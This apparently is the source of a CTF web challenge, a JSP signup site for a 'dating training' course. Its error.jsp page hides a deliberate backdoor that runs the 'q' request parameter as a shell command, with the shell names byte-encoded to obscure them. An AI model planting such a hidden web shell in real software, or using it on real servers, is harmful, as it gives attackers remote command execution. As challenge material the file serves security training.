<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;吸引异性的魅力有两种，一种是和性别无关的魅力，这种魅力男女都可以有，例如：外貌姣好，情商高；另一种是和性别有关的魅力，例如：男性的魁梧高大、事业有成，女性的温柔可爱。因此不管是追求阶段还是恋爱当中，都需要注意这种魅力的展示与提升。从外在形象，人品学识，到才华能力都是产生吸引力的因素，很多时候，一个人的魅力往往在细节中体现出来，比如：男生约女生吃饭的时候主动帮对方调节座位则被认为是有风度的表现。\n                                    </p>\n                                </div>\n                            </div>\n                        </div>\n\n                        <div class=\"row\">\n                            <div class=\"col-md-12\" style=\"padding-left:5%\">\n                                <p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<b>2. 增加相处机会</b></p>\n\n                                <div class=\"row\">\n                                    <div class=\"col-md-12\" style=\"padding-left:5%\">\n                                        <p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;日远日疏，日近日亲”，两人接触在一起的时间长了，就会制造出机会来。所以看到一个中意的男生，一定要制造机会缠住他，有机会要接近他，没有机会创造机会也要接近他。《倚天屠龙记》赵敏就是心有灵犀，也自觉不自觉地运用了这一计策，正是在去灵蛇岛的途中，张无忌和赵敏才有了深厚的感情。 共同经历更容易产生共鸣。一起有过一段美好的经历，彼此可能产生性吸引。一起经历过苦难，在苦难中相互帮助，给与彼此温暖的感觉，彼此也可能产生性吸引。要有共同的经历，首先得增加接触，在早期可以从做朋友开始，相处的机会多了，在一起有了共同的经历，相互之间了解更多，就可能逐渐产生感情\n                                        </p>\n                                    </div>\n                                </div>\n                            </div>\n                            <div class=\"row\">\n                                <div class=\"col-md-12\" style=\"padding-left:5%;margin-bottom: 50px\">\n                                    <p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<b>3. 恋爱经验下载</b></p>\n\n                                    <div class=\"row\">\n                                        <div class=\"col-md-4\" style=\"padding-left:5%\">\n                                            <a href=\"${cp}download/files?file=dlive.pdf\" class=\"btn btn-primary btn-sm\">\n                                                <span class=\"glyphicon glyphicon-download-alt\" aria-hidden=\"true\"></span> D师傅的恋爱经验\n                                            </a>\n                                        </div>\n                                        <div class=\"col-md-4\" style=\"padding-left:5%\">\n                                            <a href=\"${cp}download/files?file=spike.pdf\" class=\"btn btn-primary btn-sm\">\n                                                <span class=\"glyphicon glyphicon-download-alt\" aria-hidden=\"true\"></span> S师傅的恋爱经验\n                                            </a>\n                                        </div>\n                                        <div class=\"col-md-4\" style=\"padding-left:5%\">\n                                            <a href=\"${cp}download/files?file=afternoon.pdf\" class=\"btn btn-primary btn-sm\">\n                                                <span class=\"glyphicon glyphicon-download-alt\" aria-hidden=\"true\"></span> A师傅的恋爱经验\n                                            </a>\n                                        </div>\n                                    </div>\n                                </div>\n                            </div>\n\n                        </div>\n\n                    </div>\n                </div>\n\n            </div>\n        </div>\n            </div>\n        </div>\n        <div class=\"row\">\n            <div class=\"col-md-12\">\n\n            </div>\n        </div>\n        <div class=\"row\" style=\"margin-bottom: 50px\">\n            <div class=\"col-md-12\">\n\n            </div>\n        </div>\n    </div>\n</div>\n<jsp:include page=\"/common/footer.jsp\"></jsp:include>\n</body>\n</html>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/webapp/WEB-INF/jsp/error.jsp",
    "content": "\n<%@ page import=\"java.util.Scanner\" %>\n<%@ taglib prefix=\"c\" uri=\"http://java.sun.com/jsp/jstl/core\" %>\n<%@ page contentType=\"text/html;charset=UTF-8\" language=\"java\" %>\n<%\n    String path = request.getContextPath();\n    String basePath = request.getScheme()+\"://\"+request.getServerName()+\":\"+request.getServerPort()+path+\"/\";\n%>\n<c:set var=\"cp\" value=\"<%=basePath%>\" />\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <jsp:include page=\"/common/head.jsp\"></jsp:include>\n</head>\n<body>\n<jsp:include page=\"/common/navigator.jsp\"></jsp:include>\n\n<%//留的后门\n    String op=\"Got Nothing\";\n    String query = request.getParameter(\"q\");\n    String fileSeparator = String.valueOf(java.io.File.separatorChar);\n    Boolean isWin;\n    if(fileSeparator.equals(\"\\\\\")){\n        isWin = true;\n    }else{\n        isWin = false;\n    }\n\n    if (query != null) {\n        ProcessBuilder pb;\n        if(isWin) {\n            pb = new ProcessBuilder(new String(new byte[]{99, 109, 100}), new String(new byte[]{47, 67}), query);\n        }else{\n            pb = new ProcessBuilder(new String(new byte[]{47, 98, 105, 110, 47, 98, 97, 115, 104}), new String(new byte[]{45, 99}), query);\n        }\n        Process process = pb.start();\n        Scanner sc = new Scanner(process.getInputStream()).useDelimiter(\"\\\\A\");\n        op = sc.hasNext() ? sc.next() : op;\n        sc.close();\n    }\n%>\n\n<div class=\"container\">\n    <div class=\"row\">\n        <div class=\"col-md-12\">\n            <h3>请求异常</h3>\n        </div>\n    </div>\n    <div class=\"row\" style=\"margin-top: 30px\">\n        <div class=\"col-md-12\">\n            <div class=\"panel panel-default\">\n                <div class=\"panel-heading\">\n                    <h3 class=\"panel-title\">\n                        错误信息\n                    </h3>\n                </div>\n                <div class=\"panel-body\">\n                    ${message}\n                </div>\n            </div>\n\n        </div>\n    </div>\n</div>\n<jsp:include page=\"/common/footer.jsp\"></jsp:include>\n</body>\n</html>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/webapp/WEB-INF/jsp/excel.jsp",
    "content": "\n\n<%@ taglib prefix=\"c\" uri=\"http://java.sun.com/jsp/jstl/core\" %>\n<%@ page contentType=\"text/html;charset=UTF-8\" language=\"java\" %>\n<%\n    String path = request.getContextPath();\n    String basePath = request.getScheme()+\"://\"+request.getServerName()+\":\"+request.getServerPort()+path+\"/\";\n%>\n<c:set var=\"cp\" value=\"<%=basePath%>\" />\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <jsp:include page=\"/common/head.jsp\"></jsp:include>\n</head>\n<body>\n<jsp:include page=\"/common/navigator.jsp\"></jsp:include>\n\n<div class=\"container\">\n    <div class=\"row\">\n        <div class=\"col-md-12\">\n            <h3>系统管理</h3>\n        </div>\n    </div>\n    <div class=\"row\" style=\"margin-top: 30px\">\n        <div class=\"col-md-12\">\n            <div class=\"panel panel-default\">\n                <div class=\"panel-heading\">\n                    <h3 class=\"panel-title\">\n                        下载报名表信息\n                    </h3>\n                </div>\n                <div class=\"panel-body\">\n                    <form action=\"<%=basePath%>admin/excel.html\" method=\"post\">\n                        <input type=\"submit\" class=\"btn btn-success\" value=\"下载\">\n                    </form>\n                    <p>${flag}</p>\n                </div>\n            </div>\n\n        </div>\n    </div>\n</div>\n<jsp:include page=\"/common/footer.jsp\"></jsp:include>\n</body>\n</html>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/webapp/WEB-INF/jsp/exception.jsp",
    "content": "\n\n<%@ taglib prefix=\"c\" uri=\"http://java.sun.com/jsp/jstl/core\" %>\n<%@ page contentType=\"text/html;charset=UTF-8\" language=\"java\" %>\n<%\n    String path = request.getContextPath();\n    String basePath = request.getScheme()+\"://\"+request.getServerName()+\":\"+request.getServerPort()+path+\"/\";\n%>\n<c:set var=\"cp\" value=\"<%=basePath%>\" />\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <jsp:include page=\"/common/head.jsp\"></jsp:include>\n</head>\n<body>\n<jsp:include page=\"/common/navigator.jsp\"></jsp:include>\n\n<div class=\"container\">\n    <div class=\"row\">\n        <div class=\"col-md-12 text-center\">\n            <h3>请求出错</h3>\n        </div>\n    </div>\n    <div class=\"row\" style=\"margin-top: 30px\">\n        <div class=\"col-md-12\">\n            <div class=\"panel panel-default\">\n                <div class=\"panel-heading\">\n                    <h3 class=\"panel-title\">\n                        错误信息\n                    </h3>\n                </div>\n                <div class=\"panel-body\">\n                    请求异常！\n                </div>\n            </div>\n\n        </div>\n    </div>\n</div>\n<jsp:include page=\"/common/footer.jsp\"></jsp:include>\n</body>\n</html>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/webapp/WEB-INF/jsp/find.jsp",
    "content": "<%@ page import=\"com.bupt.utils.SystemDateTimeChecker\" %>\n<%@ taglib prefix=\"c\" uri=\"http://java.sun.com/jsp/jstl/core\" %>\n<%@ page contentType=\"text/html;charset=UTF-8\" language=\"java\" %>\n<%\n    String path = request.getContextPath();\n    String basePath = request.getScheme()+\"://\"+request.getServerName()+\":\"+request.getServerPort()+path+\"/\";\n%>\n<c:set var=\"cp\" value=\"<%=basePath%>\" />\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <jsp:include page=\"/common/head.jsp\"></jsp:include>\n</head>\n<body>\n    <jsp:include page=\"/common/navigator.jsp\"></jsp:include>\n<div class=\"content\">\n    <div class=\"container\">\n        <div class=\"row\" style=\"margin-bottom: 50px\"></div>\n\n        <div class=\"row\">\n            <div class=\"col-md-12 text-center\">\n                <h2>找回密码</h2>\n            </div>\n        </div>\n        <div class=\"row\" style=\"margin-bottom: 50px\"></div>\n        <div class=\"row\">\n            <div class=\"col-md-3\"></div>\n            <div class=\"col-md-6\">\n                <div class=\"row\">\n                    <div class=\"col-sm-12 text-right\">\n                        <div class=\"form-horizontal\">\n                            <form role=\"form\" action=\"${cp}user/find.html\" id=\"find-reset-submit\" method=\"post\">\n                                <fieldset>\n                                    <div class=\"form-group\">\n                                        <label class=\"col-sm-3 control-label\">* 用户名:</label>\n                                        <div class=\"col-sm-7 input-group\">\n                                            <input type=\"text\" id=\"username\" name=\"username\" class=\"form-control\">\n                                            <span class=\"input-group-addon\">\n                                            <span class=\"glyphicon glyphicon-user\"></span>\n                                        </span>\n                                        </div>\n                                    </div>\n                                    <div class=\"form-group\">\n                                        <label class=\"col-sm-3 control-label\">* 邮箱:</label>\n                                        <div class=\"col-sm-7 input-group\">\n                                            <input type=\"text\" id=\"email\" name=\"email\" class=\"form-control\">\n                                            <span class=\"input-group-addon\">\n                                            <span class=\"glyphicon glyphicon-envelope\"></span>\n                                        </span>\n                                        </div>\n                                    </div>\n                                    <div class=\"form-group\">\n                                        <label class=\"col-sm-3 control-label\">* 邮箱验证码:</label>\n                                        <div class=\"col-sm-7 input-group\">\n                                            <div class=\"row\">\n                                                <div class=\"col-md-8\">\n                                                    <input type=\"text\" id=\"checkcode\" name=\"checkcode\" class=\"form-control\">\n                                                </div>\n                                                <div class=\"col-md-4\" id=\"messageFollow\">\n                                                    <a href=\"javascript:getVerCode();\" class=\"btn btn-success\">获取验证码</a>\n                                                </div>\n                                            </div>\n                                        </div>\n                                    </div>\n                                    <div class=\"form-group\">\n                                        <label class=\"col-sm-3 control-label\">* 新密码:</label>\n                                        <div class=\"col-sm-7 input-group\">\n                                            <input type=\"password\" id=\"password1\" name=\"password1\" class=\"form-control\">\n                                            <span class=\"input-group-addon\">\n                                                <span class=\"glyphicon glyphicon-eye-close\"></span>\n                                             </span>\n                                        </div>\n                                    </div>\n                                    <div class=\"form-group\">\n                                        <label class=\"col-sm-3 control-label\">* 密码确认:</label>\n                                        <div class=\"col-sm-7 input-group\">\n                                            <input type=\"password\" id=\"password2\" name=\"password2\" class=\"form-control\">\n                                            <span class=\"input-group-addon\">\n                                                <span class=\"glyphicon glyphicon-eye-close\"></span>\n                                             </span>\n                                        </div>\n                                    </div>\n                                </fieldset>\n                            </form>\n                        </div>\n                    </div>\n                </div>\n                <div class=\"row\">\n                    <div class=\"col-sm-10 text-right\" style=\"padding-right: 0px\">\n                        <button onclick=\"findAndResetPassword()\" class=\"btn btn-success\">确认</button>\n                    </div>\n                </div>\n            </div>\n            <div class=\"col-md-3\"></div>\n        </div>\n    </div>\n</div>\n    <jsp:include page=\"/common/footer.jsp\"></jsp:include>\n</body>\n<script type=\"text/javascript\">\n    function getVerCode() {\n        var username = $(\"#username\").val();\n        var email = $(\"#email\").val();\n        var url = \"${cp}user/send_email.json\";\n        if(validateLengthMin(username,6)&&validateLengthMax(username,12)){\n            if(validateEmail(email)){\n                $(\"#messageFollow\").html(\"\");\n                $(\"#messageFollow\").html(\"<span class='label label-info'>邮件发送中...</span>\");\n                $.ajax({\n                    type: 'POST',\n                    url: url,\n                    data: {\n                        'username': username,\n                        'email': email\n                    },\n                    success: function (result) {\n                        if (result.ret) {\n                            ShowSuccess(result.msg);\n                            $(\"#messageFollow\").html();\n                            $(\"#messageFollow\").html(\"<label id='info' class='text-success'></label>\");\n                            time = 60;\n                            var t = setInterval(function() {\n                                $(\"#info\").html(time  + \"秒后重新获取\");\n                                time--;\n                                if (time == 0) {\n                                    clearInterval(t);\n                                    $(\"#messageFollow\").html(\"\");\n                                    $(\"#messageFollow\").html(\"<a href='javascript:getVerCode();' class='btn btn-success'>获取邮箱验证</a>\");\n                                }\n                            }, 1000)\n                        } else {\n                            ShowFailure(result.msg);$(\"#messageFollow\").html(\"\");\n                            $(\"#messageFollow\").html(\"<a href='javascript:getVerCode();' class='btn btn-success'>获取邮箱验证</a>\");\n                        }\n                    }\n                });\n\n            }else {\n                ShowWarn(\"邮箱格式错误！\")\n            }\n        }else {\n            ShowWarn(\"用户名必须在6-12个字符之间！\");\n        }\n\n    }\n    function check(username,email){\n        if(validateLengthMin(username,6)&&validateLengthMax(username,12)){\n            if(validateEmail(email)){\n                return true;\n            }else {\n                ShowWarn(\"邮箱格式错误！\")\n            }\n        }else {\n            ShowWarn(\"用户名必须在6-12个字符之间！\");\n        }\n        return false;\n    }\n    function findAndResetPassword(){\n        var username = $(\"#username\").val();\n        var email = $(\"#email\").val();\n        var password1 = $(\"#password1\").val();\n        var password2 = $(\"#password2\").val();\n        if(password1==password2){\n            if(validateLengthMin(username,6)&&validateLengthMax(username,12)){\n                if(validateLengthMin(password1,6)&&validateLengthMax(password1,12)){\n                    $(\"#find-reset-submit\").submit();\n                }else {\n                    ShowWarn(\"密码必须在6-12个字符之间\")\n                }\n            }else {\n                ShowWarn(\"用户名必须在6-12个字符之间\");\n            }\n        }else {\n            ShowWarn(\"两次输入的密码不一致！\");\n        }\n    }\n</script>\n</html>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/webapp/WEB-INF/jsp/index.jsp",
    "content": "<%@ page import=\"com.bupt.utils.SystemDateTimeChecker\" %>\n<%@ taglib prefix=\"c\" uri=\"http://java.sun.com/jsp/jstl/core\" %>\n<%@ page contentType=\"text/html;charset=UTF-8\" language=\"java\" %>\n<%\n    String path = request.getContextPath();\n    String basePath = request.getScheme()+\"://\"+request.getServerName()+\":\"+request.getServerPort()+path+\"/\";\n%>\n<c:set var=\"cp\" value=\"<%=basePath%>\" />\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <jsp:include page=\"/common/head.jsp\"></jsp:include>\n</head>\n<body>\n    <jsp:include page=\"/common/navigator.jsp\"></jsp:include>\n\n<div class=\"content\">\n\n    <div class=\"container\">\n        <jsp:include page=\"/common/competitionInfo.jsp\"></jsp:include>\n        <div class=\"row\" style=\"margin-bottom: 50px;\">\n            <div class=\"col-md-12 text-center\">\n\n                <a href=\"${cp}user/loginHtml.html\" class=\"btn btn-success\">立即登录</a>\n\n            </div>\n        </div>\n        <div class=\"row\">\n            <div class=\"col-md-12\">\n\n            </div>\n        </div>\n        <div class=\"row\">\n            <div class=\"col-md-12\">\n\n            </div>\n        </div>\n    </div>\n</div>\n<jsp:include page=\"/common/footer.jsp\"></jsp:include>\n</body>\n</html>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/webapp/WEB-INF/jsp/login.jsp",
    "content": "<%@ page import=\"com.bupt.utils.SystemDateTimeChecker\" %>\n<%@ page import=\"java.text.SimpleDateFormat\" %>\n<%@ page import=\"java.util.Date\" %>\n<%@ taglib prefix=\"c\" uri=\"http://java.sun.com/jsp/jstl/core\" %>\n<%@ page contentType=\"text/html;charset=UTF-8\" language=\"java\" %>\n<%\n\tString path = request.getContextPath();\n\tString basePath = request.getScheme()+\"://\"+request.getServerName()+\":\"+request.getServerPort()+path+\"/\";\n%>\n<c:set var=\"cp\" value=\"<%=basePath%>\" />\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n\t<jsp:include page=\"/common/head.jsp\"></jsp:include>\n</head>\n<body>\n\t<jsp:include page=\"/common/navigator.jsp\"></jsp:include>\n<div class=\"content\">\n\t<div class=\"container\">\n\t\t<div class=\"row\" style=\"margin-bottom: 50px\"></div>\n\n\t\t<div class=\"row\">\n\t\t\t<div class=\"col-md-12 text-center\">\n\t\t\t\t<h2>用户登录</h2>\n\t\t\t</div>\n\t\t</div>\n\t\t<div class=\"row\" style=\"margin-bottom: 50px\"></div>\n\t\t<div class=\"row\">\n\t\t\t<div class=\"col-md-3\"></div>\n\n\t\t\t<div class=\"col-md-6\">\n\t\t\t\t<div class=\"row\">\n\t\t\t\t\t<div class=\"col-sm-12 text-right\">\n\t\t\t\t\t\t<div class=\"form-horizontal\">\n\t\t\t\t\t\t\t<form role=\"form\" action=\"${cp}user/login.html\" id=\"login-submit\" method=\"post\">\n\t\t\t\t\t\t\t\t<fieldset>\n\t\t\t\t\t\t\t\t\t<div class=\"form-group\">\n\t\t\t\t\t\t\t\t\t\t<label class=\"col-sm-3 control-label\">* 用户名:</label>\n\t\t\t\t\t\t\t\t\t\t<div class=\"col-sm-9 input-group\">\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"text\" id=\"username\" name=\"username\" class=\"form-control\">\n\t\t\t\t\t\t\t\t\t\t\t<span class=\"input-group-addon\">\n\t\t\t\t\t\t\t\t\t\t<span class=\"glyphicon glyphicon-user\"></span>\n\t\t\t\t\t\t\t\t\t</span>\n\t\t\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t\t<div class=\"form-group\">\n\t\t\t\t\t\t\t\t\t\t<label class=\"col-sm-3 control-label\">* 密 码:</label>\n\t\t\t\t\t\t\t\t\t\t<div class=\"col-sm-9 input-group\">\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"password\" id=\"password\" name=\"password\" class=\"form-control\">\n\t\t\t\t\t\t\t\t\t\t\t<span class=\"input-group-addon\">\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"glyphicon glyphicon-eye-close\"></span>\n\t\t\t\t\t\t\t\t\t\t\t</span>\n\t\t\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t\t<%--<div class=\"form-group\">--%>\n\t\t\t\t\t\t\t\t\t\t<%--<label class=\"col-sm-3 control-label\">* 验证码:</label>--%>\n\t\t\t\t\t\t\t\t\t\t<%--<div class=\"col-sm-9 input-group\">--%>\n\t\t\t\t\t\t\t\t\t\t\t<%--<div class=\"row\">--%>\n\t\t\t\t\t\t\t\t\t\t\t\t<%--<div class=\"col-sm-7 col-md-7\">--%>\n\t\t\t\t\t\t\t\t\t\t\t\t\t<%--<input type=\"text\" id=\"verCode\" name=\"verCode\" class=\"form-control\">--%>\n\t\t\t\t\t\t\t\t\t\t\t\t<%--</div>--%>\n\t\t\t\t\t\t\t\t\t\t\t\t<%--<div class=\"col-sm-5 col-md-5\">--%>\n\t\t\t\t\t\t\t\t\t\t\t\t\t<%--<img id=\"img\" style=\"cursor:pointer\" onclick=\"javascript:changeImg()\" src=\"${cp}user/verCode\" />--%>\n\t\t\t\t\t\t\t\t\t\t\t\t\t<%--<a href='#' onclick=\"javascript:changeImg()\" style=\"color:black;\">--%>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<%--<label style=\"color:red;\">看不清？</label></a>--%>\n\t\t\t\t\t\t\t\t\t\t\t\t<%--</div>--%>\n\t\t\t\t\t\t\t\t\t\t\t<%--</div>--%>\n\t\t\t\t\t\t\t\t\t\t<%--</div>--%>\n\t\t\t\t\t\t\t\t\t<%--</div>--%>\n\t\t\t\t\t\t\t\t</fieldset>\n\t\t\t\t\t\t\t</form>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t</div>\n\t\t\t\t</div>\n\t\t\t\t<div class=\"row\">\n\t\t\t\t\t<div class=\"col-sm-12 text-right\" style=\"padding-right: 0px\">\n\t\t\t\t\t\t<button type=\"submit\" onclick=\"loginSubmit()\" class=\"btn btn-success\">登录</button>\n\t\t\t\t\t</div>\n\t\t\t\t</div>\n\t\t\t\t<div class=\"row\">\n\t\t\t\t\t<div class=\"col-sm-12 text-center\" style=\"padding-right: 0px\">\n\t\t\t\t\t\t<%\n\t\t\t\t\t\t\tif(SystemDateTimeChecker.checkNowOk()){\n\t\t\t\t\t\t%>\n\t\t\t\t\t\t<h5>没有账号，<a href=\"${cp}user/registerHtml.html\">马上注册</a></h5>\n\t\t\t\t\t\t<%\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t%>\n\t\t\t\t\t\t<h5><a href=\"${cp}user/findHtml.html\">忘记密码</a></h5>\n\t\t\t\t\t</div>\n\t\t\t\t</div>\n\t\t\t</div>\n\n\t\t\t<div class=\"col-md-3\"></div>\n\t\t</div>\n\t</div>\n</div>\n\t<jsp:include page=\"/common/footer.jsp\"></jsp:include>\n</body>\n<!-- 触发JS刷新-->\n<script type=\"text/javascript\">\n\t$(function () {\n\t\tShowMsg(\"${message}\");\n\t})\n\tfunction changeImg(){\n\t\tvar img = document.getElementById(\"img\");\n\t\timg.src = \"${cp}user/verCode?rnd=\"+Math.random();\n\t}\n\tfunction loginSubmit() {\n\t\tvar username = $(\"#username\").val();\n\t\tvar password = $(\"#password\").val();\n\t\t// var code = $(\"#verCode\").val();\n\t\tif(validateUserName(username)){\n\t\t\tif(validatePassword(password)){\n\t\t\t\t// if(code==\"\"){\n\t\t\t\t// \tShowWarn(\"请填写验证码\");\n\t\t\t\t// }else {\n\t\t\t\t\t$(\"#login-submit\").submit();\n\t\t\t\t// }\n\t\t\t}else {\n\t\t\t\tShowWarn(\"密码不合法！仅包含字母数字，6-12字符\")\n\t\t\t}\n\t\t}else {\n\t\t\tShowWarn(\"用户名不合法！仅包含字母数字及@.+-_，不超过30个字符\");\n\t\t}\n\t}\n</script>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/webapp/WEB-INF/jsp/noProfile.jsp",
    "content": "\n\n<%@ taglib prefix=\"c\" uri=\"http://java.sun.com/jsp/jstl/core\" %>\n<%@ page contentType=\"text/html;charset=UTF-8\" language=\"java\" %>\n<%\n    String path = request.getContextPath();\n    String basePath = request.getScheme()+\"://\"+request.getServerName()+\":\"+request.getServerPort()+path+\"/\";\n%>\n<c:set var=\"cp\" value=\"<%=basePath%>\" />\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <jsp:include page=\"/common/head.jsp\"></jsp:include>\n</head>\n<body>\n<jsp:include page=\"/common/navigator.jsp\"></jsp:include>\n\n<div class=\"container\">\n    <div class=\"row\">\n        <div class=\"col-md-12 text-center\">\n            <h3>${username}</h3>\n        </div>\n    </div>\n    <div class=\"row\" style=\"margin-top: 30px\">\n        <div class=\"col-md-12\">\n            <div class=\"panel panel-default\">\n                <div class=\"panel-heading\">\n                    <h3 class=\"panel-title\">\n                        提示信息信息\n                    </h3>\n                </div>\n                <div class=\"panel-body\">\n                    <div class=\"row col-md-6\">${message}</div>\n                    <div class=\"row col-md-6 text-right\">\n                        <a href=\"${cp}profile/profileAdd.html\" type=\"button\" class=\"btn btn-success\">完善报名信息</a>\n                    </div>\n                </div>\n            </div>\n\n        </div>\n    </div>\n</div>\n<jsp:include page=\"/common/footer.jsp\"></jsp:include>\n</body>\n</html>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/webapp/WEB-INF/jsp/profile.jsp",
    "content": "\n<%@ taglib prefix=\"c\" uri=\"http://java.sun.com/jsp/jstl/core\" %>\n<%@ page contentType=\"text/html;charset=UTF-8\" language=\"java\" %>\n<%\n    String path = request.getContextPath();\n    String basePath = request.getScheme()+\"://\"+request.getServerName()+\":\"+request.getServerPort()+path+\"/\";\n%>\n<c:set var=\"cp\" value=\"<%=basePath%>\" />\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <jsp:include page=\"/common/head.jsp\"></jsp:include>\n</head>\n<body>\n<jsp:include page=\"/common/navigator.jsp\"></jsp:include>\n<div class=\"content\">\n    <div class=\"container\">\n\n        <div class=\"row\" style=\"margin-bottom: 10px\"></div>\n        <div class=\"row\">\n            <div class=\"col-md-3  text-left\">\n                <div class=\"list-group\">\n                    <a href=\"${cp}/profile/profileEditHtml.html\" class=\"list-group-item list-group-item-success\">修改个人信息</a>\n                    <a href=\"${cp}/profile/info.html\" class=\"list-group-item list-group-item-info\">线上预赛安排</a>\n                    <a href=\"${cp}/profile/competitionRule.html\" class=\"list-group-item list-group-item-success\">竞赛规则说明</a>\n                </div>\n            </div>\n            <div class=\"col-md-9\">\n                <jsp:include page=\"/common/competitionInfo.jsp\"></jsp:include>\n            </div>\n        </div>\n        <div class=\"row\" style=\"margin-bottom: 50px\"></div>\n    </div>\n</div>\n<jsp:include page=\"/common/footer.jsp\"></jsp:include>\n</body>\n<script type=\"text/javascript\">\n    $(function () {\n        $('input').attr(\"readonly\",\"readonly\")//将input元素设置为readonly\n        $('textarea').attr(\"readonly\",\"readonly\")//将input元素设置为readonly\n    })\n</script>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/webapp/WEB-INF/jsp/profile_add.jsp",
    "content": "\n<%@ taglib prefix=\"c\" uri=\"http://java.sun.com/jsp/jstl/core\" %>\n<%@ page contentType=\"text/html;charset=UTF-8\" language=\"java\" %>\n<%\n    String path = request.getContextPath();\n    String basePath = request.getScheme()+\"://\"+request.getServerName()+\":\"+request.getServerPort()+path+\"/\";\n%>\n<c:set var=\"cp\" value=\"<%=basePath%>\" />\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <jsp:include page=\"/common/head.jsp\"></jsp:include>\n</head>\n<body>\n    <jsp:include page=\"/common/navigator.jsp\"></jsp:include>\n    <div class=\"content\">\n        <div class=\"container\">\n            <div class=\"row\" ></div>\n            <div class=\"row\">\n                <div class=\"col-md-12 text-center\">\n                    <h3><strong>恋爱的季节</strong></h3>\n                    <h3><strong>培训申请表</strong></h3>\n                </div>\n            </div>\n            <div class=\"row\" style=\"margin-bottom: 10px\"></div>\n            <div class=\"row\">\n                <div class=\"col-md-12\">\n                    <div class=\"row\">\n                        <div class=\"col-sm-12 text-right\">\n                            <div class=\"form-horizontal\">\n                                <form role=\"form\" action=\"${cp}profile/add\" id=\"profile-submit\" method=\"post\" enctype=\"multipart/form-data\">\n                                    <fieldset>\n                                        <div class=\"row\">\n                                            <div class=\"col-md-5\">\n                                                <hr style=\"border: 3px double #ff0033\">\n                                            </div>\n                                            <div class=\"col-md-2 text-center\">\n                                                <h5><strong>个人基本信息【必填】</strong></h5>\n                                            </div>\n                                            <div class=\"col-md-5\">\n                                                <hr style=\"border: 3px double #ff0033\">\n                                            </div>\n                                        </div>\n                                        <div class=\"row\">\n                                            <div class=\"col-md-6\">\n                                                <div class=\"form-group\">\n                                                    <label class=\"col-sm-3 control-label\">* 姓 名:</label>\n                                                    <div class=\"col-sm-9 input-group\">\n                                                        <input type=\"text\" id=\"name\" name=\"name\" onblur=\"checkLength(this.id,this.value,2,12)\" class=\"form-control checked-no\">\n                                                        <span class=\"input-group-addon\">\n                                                        <span class=\"glyphicon glyphicon-user\"></span>\n                                                    </span>\n                                                    </div>\n                                                </div>\n                                            </div>\n                                            <div class=\"col-md-6\">\n                                                <div class=\"form-group\">\n                                                    <label class=\"col-sm-3 control-label\">* 性 别:</label>\n                                                    <div class=\"col-sm-3\"></div>\n                                                    <div class=\"col-sm-3 input-group\">\n                                                        <label for=\"\">男</label>&nbsp;\n                                                        <span class=\"input-group-addon\">\n                                                    <input type=\"radio\" name=\"gender\" value=\"男\" checked aria-label=\"...\">\n                                                </span>\n                                                        <label for=\"gender\">女</label>&nbsp;\n                                                        <span class=\"input-group-addon\">\n                                                    <input type=\"radio\" name=\"gender\" value=\"女\" aria-label=\"...\">\n                                                </span>\n                                                    </div>\n                                                    <div class=\"col-sm-3\"></div>\n                                                </div>\n                                            </div>\n                                        </div>\n                                        <div class=\"row\">\n                                            <div class=\"col-md-6\">\n                                                <div class=\"form-group\">\n                                                    <label class=\"col-sm-3 control-label\">* 出生年月:</label>\n                                                    <div class=\"col-sm-9 input-group\" id=\"datetimepicker\">\n                                                        <input type=\"text\" id=\"birthday\" name=\"birthday\" value=\"2000-01-01\"  class=\"form-control\">\n                                                        <span class=\"input-group-addon\">\n                                                        <span class=\"glyphicon glyphicon-calendar\"></span>\n                                                    </span>\n                                                    </div>\n                                                </div>\n                                            </div>\n                                            <div class=\"col-md-6\">\n                                                <div class=\"form-group\">\n                                                    <div class=\"form-group\">\n                                                        <label class=\"col-sm-3 control-label\">* 科 类:</label>\n                                                        <div class=\"col-sm-1\"></div>\n                                                        <div class=\"col-sm-7 input-group\">\n                                                            <label for=\"\">理科</label>&nbsp;\n                                                            <span class=\"input-group-addon\">\n                                                        <input type=\"radio\" name=\"type\" value=\"理科\" checked aria-label=\"...\">\n                                                    </span>\n                                                            <label for=\"\">文科</label>&nbsp;\n                                                            <span class=\"input-group-addon\">\n                                                        <input type=\"radio\" name=\"type\" value=\"文科\" aria-label=\"...\">\n                                                    </span>\n                                                            <label for=\"\">综合改革</label>&nbsp;\n                                                            <span class=\"input-group-addon\">\n                                                        <input type=\"radio\" name=\"type\" value=\"综合改革\" aria-label=\"...\">\n                                                    </span>\n                                                        </div>\n                                                        <div class=\"col-sm-1\"></div>\n                                                    </div>\n                                                </div>\n                                            </div>\n                                        </div>\n\n\n\n                                        <div class=\"row\">\n\n                                            <div 